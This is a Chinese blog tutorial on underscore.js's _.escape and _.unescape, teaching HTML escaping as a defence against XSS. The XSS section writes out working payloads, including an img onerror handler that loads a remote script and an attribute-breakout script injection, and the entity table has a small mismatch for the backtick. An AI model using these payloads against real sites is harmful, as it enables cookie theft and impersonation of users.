博客 / 詳情

返回

underscore 系列之字符實體與 _.escape

前言

underscore 提供了 _.escape 函數,用於轉義 HTML 字符串,替換 &, <, >, ", ', 和 ` 字符為字符實體。

_.escape('Curly, Larry & Moe');
=> "Curly, Larry &amp; Moe"

underscore 同樣提供了 _.unescape 函數,功能與 _.escape 相反:

_.unescape('Curly, Larry &amp; Moe');
=> "Curly, Larry & Moe"

XSS 攻擊

可是我們為什麼需要轉義 HTML 呢?

舉個例子,一個個人中心頁的地址為:www.example.com/user.html?name=kevin,我們希望從網址中取出用户的名稱,然後將其顯示在頁面中,使用 JavaScript,我們可以這樣做:

/**
 * 該函數用於取出網址參數
 */
function getQueryString(name) {
    var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
    var r = window.location.search.substr(1).match(reg);
    if (r != null) return unescape(r[2]);
    return null;
}

var name = getQueryString('name');
document.getElementById("username").innerHTML = name;

如果被一個同樣懂技術的人發現的話,那麼他可能會動點“壞心思”:

比如我把這個頁面的地址修改為:www.example.com/user.html?name=<script>alert(1)</script>

就相當於:

document.getElementById("username").innerHTML = '<script>alert(1)</script>';

會有什麼效果呢?

結果是什麼也沒有發生……

這是因為:

根據 W3C 規範,script 標籤中所指的腳本僅在瀏覽器第一次加載頁面時對其進行解析並執行其中的腳本代碼,所以通過 innerHTML 方法動態插入到頁面中的 script 標籤中的腳本代碼在所有瀏覽器中默認情況下均不能被執行。

千萬不要以為這樣就安全了……

你把地址改成 www.example.com/user.html?name=<img src=@ onerror=alert(1)> 的話,就相當於:

document.getElementById("d1").innerHTML="<img src=@ onerror=alert(1)>"

此時立刻就彈窗了 1。

也許你會想,不就是彈窗個 1 嗎?還能怎麼樣?能寫多少代碼?

那我把地址改成 www.example.com/user.html?name=<img src=@ onerror='var s=document.createElement("script");s.src="https://mqyqingfeng.github.io/demo/js/alert.js";document.body.appendChild(s);' /> 呢?

就相當於:

document.getElementById("username").innerHTML = "<img src=@ onerror='var s=document.createElement(\"script\");s.src=\"https://mqyqingfeng.github.io/demo/js/alert.js\";document.body.appendChild(s);' />";

整理下其中 onerror 的代碼:

var s = document.createElement("script");
s.src = "https://mqyqingfeng.github.io/demo/js/alert.js";
document.body.appendChild(s);

代碼中引入了一個第三方的腳本,這樣做的事情就多了,從取你的 cookie,發送到黑客自己的服務器,到監聽你的輸入,到發起 CSRF 攻擊,直接以你的身份調用網站的各種接口……

總之,很危險。

為了防止這種情況的發生,我們可以將網址上的值取到後,進行一個特殊處理,再賦值給 DOM 的 innerHTML。

字符實體

問題是怎麼進行轉義呢?而這就要談到字符實體的概念了。

在 HTML 中,某些字符是預留的。比如説在 HTML 中不能使用小於號(<)和大於號(>),因為瀏覽器會誤認為它們是標籤。

如果希望正確地顯示預留字符,我們必須在 HTML 源代碼中使用字符實體(character entities)。

字符實體有兩種形式:

  1. &entity_name;
  2. &#entity_number;

比如説我們要顯示小於號,我們可以這樣寫:&lt;&#60;

值得一提的是,使用實體名而不是數字的好處是,名稱易於記憶。不過壞處是,瀏覽器也許並不支持所有實體名稱(但是對實體數字的支持卻很好)。

也許你會好奇,為什麼 < 的字符實體是 &#60 呢?這是怎麼進行計算的呢?

其實很簡單,就是取字符的 unicode 值,以 &# 開頭接十進制數字 或者以 &#x開頭接十六進制數字。舉個例子:

var num = '<'.charCodeAt(0); // 60
num.toString(10) // '60'
num.toString(16) // '3c'

我們可以以 &#60; 或者 &#x3c; 在 HTML 中表示出 <

不信你可以寫這樣一段 HTML,顯示的效果都是 <

<div>&lt;</div>
<div>&#60;</div>
<div>&#x3c;</div>

再舉個例子:以字符 '喵' 為例:

var num = '喵'.charCodeAt(0); // 21941
num.toString(10) // '21941'
num.toString(16) // '55b5'

在 HTML 中,我們就可以用 &#21941; 或者 &#x55b5 表示,不過“喵”並不具有實體名。

轉義

我們的應對方式就是將取得的值中的特殊字符轉為字符實體。

舉個例子,當頁面地址是 www.example.com/user.html?name=<strong>123</strong>時,我們通過 getQueryString 取得 name 的值:

var name = getQueryString('name'); // <strong>123</strong>

如果我們直接:

document.getElementById("username").innerHTML = name;

如我們所知,使用 innerHTML 會解析內容字符串,並且改變元素的 HMTL 內容,最終,從樣式上,我們會看到一個加粗的 123。

如果我們轉義,將 <strong>123</strong> 中的 <> 轉為實體字符,即 &lt;strong&gt;123&lt;/strong&gt;,我們再設置 innerHTML,瀏覽器就不會將其解釋為標籤,而是一段字符,最終會直接顯示 <strong>123</strong>,這樣就避免了潛在的危險。

思考

那麼問題來了,我們具體要轉義哪些字符呢?

想想我們之所以要轉義 <> ,是因為瀏覽器會將其認為是一個標籤的開始或結束,所以要轉義的字符一定是瀏覽器會特殊對待的字符,那還有什麼字符會被特殊對待的呢?(O_o)??

& 是一個,因為瀏覽器會認為 & 是一個字符實體的開始,如果你輸入了 &lt;,瀏覽器會將其解釋為 <,但是當 &lt; 是作為用户輸入的值時,應該僅僅是顯示用户輸入的值,而不是將其解釋為一個 <

'" 也要注意,舉個例子:

服務器端渲染的代碼為:

function render (input) {
  return '<input type="name" value="' + input + '">'
}

input 的值如果直接來自於用户的輸入,用户可以輸入 "> <script>alert(1)</script>,最終渲染的 HTML 代碼就變成了:

<input type="name" value=""> <script>alert(1)</script>">

結果又是一次 XSS 攻擊……

最後還有一個是反引號 `,在 IE 低版本中(≤ 8),反引號可以用於關閉標籤:

<img src="x` `<script>alert(1)</script>"` `>

所以我們最終確定的要轉義的字符為:&, <, >, ", ', 和 `。轉義對應的值為:

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;
` --> &#60;

值得注意的是:單引號和反引號使用是實體數字、而其他使用的是實體名稱,這主要是從兼容性的角度考慮的,有的瀏覽器並不能很好的支持單引號和反引號的實體名稱。

_.escape

那麼具體我們該如何實現轉義呢?我們直接看一個簡單的實現:

var _ = {};

var escapeMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '`': '&#x60;'
};

_.escape = function(string) {
    var escaper = function(match) {
        return escapeMap[match];
    };
    // 使用非捕獲性分組
    var source = '(?:' + Object.keys(escapeMap).join('|') + ')';
    console.log(source) // (?:&|<|>|"|'|`)
    var testRegexp = RegExp(source);
    var replaceRegexp = RegExp(source, 'g');

    string = string == null ? '' : '' + string;
    return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
}

實現的思路很簡單,構造一個正則表達式,先判斷是否能匹配到,如果能匹配到,就執行 replace,根據 escapeMap 將特殊字符進行替換,如果不能匹配,説明不需要轉義,直接返回原字符串。

值得一提的是,我們在代碼中打印了構造出的正則表達式為:

(?:&|<|>|"|'|`)

其中的 ?: 是個什麼意思?沒有這個 ?: 就不可以匹配嗎?我們接着往下看。

非捕獲分組

(?:pattern) 表示非捕獲分組,即會匹配 pattern 但不獲取匹配結果,不進行存儲供以後使用。

我們來看個例子:

function replacer(match, p1, p2, p3) {
    // match,表示匹配的子串 abc12345#$*%
    // p1,第 1 個括號匹配的字符串 abc
    // p2,第 2 個括號匹配的字符串 12345
    // p3,第 3 個括號匹配的字符串 #$*%
    return [p1, p2, p3].join(' - ');
}
var newString = 'abc12345#$*%'.replace(/([^\d]*)(\d*)([^\w]*)/, replacer); // abc - 12345 - #$*%

現在我們給第一個括號中的表達式加上 ?:,表示第一個括號中的內容不需要儲存結果:

function replacer(match, p1, p2) {
    // match,表示匹配的子串 abc12345#$*%
    // p1,現在匹配的是字符串 12345
    // p1,現在匹配的是字符串 #$*%
    return [p1, p2].join(' - ');
}
var newString = 'abc12345#$*%'.replace(/(?:[^\d]*)(\d*)([^\w]*)/, replacer); // 12345 - #$*%

_.escape 函數中,即使不使用 ?: 也不會影響匹配結果,只是使用 ?: 性能會更高一點。

反轉義

我們使用了 _.escape 將指定字符轉為字符實體,我們還需要一個方法將字符實體轉義回來。

寫法與 _.unescape 類似:

var _ = {};

var unescapeMap = {
    '&amp;': '&',
    '&lt;': '<',
    '&gt;': '>',
    '&quot;': '"',
    '&#x27;': "'",
    '&#x60;': '`'
};

_.unescape = function(string) {
    var escaper = function(match) {
        return unescapeMap[match];
    };
    // 使用非捕獲性分組
    var source = '(?:' + Object.keys(unescapeMap).join('|') + ')';
    console.log(source) // (?:&|<|>|"|'|`)
    var testRegexp = RegExp(source);
    var replaceRegexp = RegExp(source, 'g');

    string = string == null ? '' : '' + string;
    return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
}

console.log(_.unescape('Curly, Larry &amp; Moe')) // Curly, Larry & Moe

抽象

你會不會覺得 _.escape_.unescape 的代碼實在是太像了,以至於讓人感覺很冗餘呢?

那麼我們又該如何優化呢?

我們可以先寫一個 _.invert 函數,將 escapeMap 傳入的時候,可以得到 unescapeMap,然後我們再根據傳入的 map (escapeMap 或者 unescapeMap) 不同,返回不同的函數。

實現的方式很簡單,直接看代碼:

/**
 * 返回一個object副本,使其鍵(keys)和值(values)對換。
 * _.invert({a: "b"});
 * => {b: "a"};
 */
_.invert = function(obj) {
    var result = {};
    var keys = Object.keys(obj);
    for (var i = 0, length = keys.length; i < length; i++) {
        result[obj[keys[i]]] = keys[i];
    }
    return result;
};

var escapeMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '`': '&#x60;'
};
var unescapeMap = _.invert(escapeMap);

var createEscaper = function(map) {
    var escaper = function(match) {
        return map[match];
    };
    // 使用非捕獲性分組
    var source = '(?:' + _.keys(map).join('|') + ')';
    var testRegexp = RegExp(source);
    var replaceRegexp = RegExp(source, 'g');
    return function(string) {
        string = string == null ? '' : '' + string;
        return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
    };
};

_.escape = createEscaper(escapeMap);
_.unescape = createEscaper(unescapeMap);

underscore 系列

underscore 系列目錄地址:https://github.com/mqyqingfeng/Blog。

underscore 系列預計寫八篇左右,重點介紹 underscore 中的代碼架構、鏈式調用、內部函數、模板引擎等內容,旨在幫助大家閲讀源碼,以及寫出自己的 undercore。

如果有錯誤或者不嚴謹的地方,請務必給予指正,十分感謝。如果喜歡或者有所啓發,歡迎 star,對作者也是一種鼓勵。

user avatar xiaoweiyu 頭像 reeli 頭像
2 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.